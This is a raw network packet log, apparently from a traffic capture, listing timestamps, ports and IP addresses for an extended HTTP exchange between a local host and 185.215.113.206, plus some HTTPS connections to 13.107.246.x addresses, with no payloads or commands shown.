Nov 20, 2024 18:57:49.021589994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.021615028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.021653891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.022367954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.022423983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.022480011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.022520065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.023148060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.023201942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.023243904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.023344040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.023957968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.024023056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.024058104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.024099112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.024768114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.024833918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.024887085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.024929047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.025568962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.025625944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.025635958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.025676012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.026415110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.026495934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.026500940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.026537895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.027362108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.027374983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.027415037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.028115988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.028239012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.028239965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.028276920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.028836966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.028958082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.028997898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.029664040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.029720068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.029732943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.029776096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.030468941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.030514956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.030530930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.030571938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.030570984 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.031280041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.031333923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.031349897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.031389952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.032094002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.032140017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.032207012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.032248020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.032865047 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.032876015 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.032895088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.032941103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.033005953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.033046007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.033236980 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.033713102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.033766031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.033826113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.033947945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.034137964 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.034200907 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.034365892 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.034836054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.034847975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.034893036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.035329103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.035379887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.035438061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.035619020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.036185980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.036262989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.036349058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.036396980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.036947966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.037008047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.037065983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.037106991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.037767887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.037831068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.037868023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.037911892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.038568974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.038630009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.038773060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.038827896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.039382935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.039429903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.039443970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.039482117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.040230036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.040271997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.040447950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.040520906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.041034937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.041085958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.041096926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.041142941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.041882992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.041955948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.041975021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.041987896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.042886019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.043111086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.043154001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.043626070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.043646097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.043684959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.044280052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.044318914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.044390917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.044440031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.045070887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.045243025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.045280933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.045872927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.045914888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.045972109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.046011925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.046689987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.046730995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.046818972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.047169924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.047457933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.047498941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.079329014 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.149662018 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.151537895 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.151555061 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.151972055 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.151977062 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.153152943 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.153248072 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.153321028 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.155019045 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.155041933 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.155055046 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.155062914 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.156289101 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.156454086 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.156536102 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.157059908 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.157075882 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.157088041 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.157094002 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.157629967 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.157672882 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.157737017 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.157849073 CET	49881	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.157871962 CET	443	49881	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.158890009 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.158932924 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.159235954 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.159362078 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.159378052 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.216829062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.216867924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.216924906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.216967106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.217128038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.217174053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.217220068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.217262983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.217968941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.218022108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.218060970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.218111992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.218820095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.218904018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.218909025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.218945980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.219860077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.219898939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.219907999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.219933987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.220364094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.220407963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.220499992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.220537901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.221199036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.221261978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.221278906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.221326113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.221393108 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.221776962 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.221792936 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.222016096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.222069979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.222131968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.222177982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.222806931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.222856045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.222871065 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.222919941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.222934008 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.222969055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.223510027 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.223596096 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.223683119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.223733902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.223783970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.223901987 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.223972082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.224014997 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.224024057 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.224128962 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.224143028 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.224453926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.224498987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.224544048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.224611044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.225272894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.225295067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.225347996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.226145029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.226170063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.226211071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.226233006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.227022886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.227072954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.227118969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.227701902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.227727890 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.227765083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.227798939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.227807999 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.227953911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.228465080 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.228543043 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.228580952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.228607893 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.228631973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.228681087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.228761911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.229324102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.229388952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.229424953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.229466915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.230415106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.230460882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.230562925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.230807066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.231147051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.231225967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.231241941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.231281996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.231849909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.231960058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.231987953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.232002020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.232579947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.232640028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.232676029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.232717991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.233381987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.233473063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.233527899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.234194040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.234246969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.234304905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.234424114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.234998941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.235049009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.235093117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.235172987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.235815048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.235937119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.235976934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.236021996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.236629963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.236665964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.236677885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.236711979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.237458944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.237513065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.237555027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.237595081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.238277912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.238316059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.238331079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.238359928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.239094019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.239146948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.239249945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.239300013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.239870071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.239922047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.239965916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.240005016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.240726948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.240798950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.240906000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.240952969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.241677046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.241739035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.241866112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.242049932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.242340088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.242394924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.242724895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.242774963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.243184090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.243272066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.243333101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.243983984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.244046926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.244082928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.244127989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.244915009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.244932890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.244971037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.244990110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.245573044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.245626926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.245740891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.245784998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.246409893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.246463060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.246630907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.246714115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.247261047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.247324944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.247407913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.247487068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.247998953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.248043060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.248099089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.248132944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.248820066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.248872995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.248940945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.248989105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.249104023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.249675035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.249742985 CET	49794	80	192.168.2.6	185.215.113.206
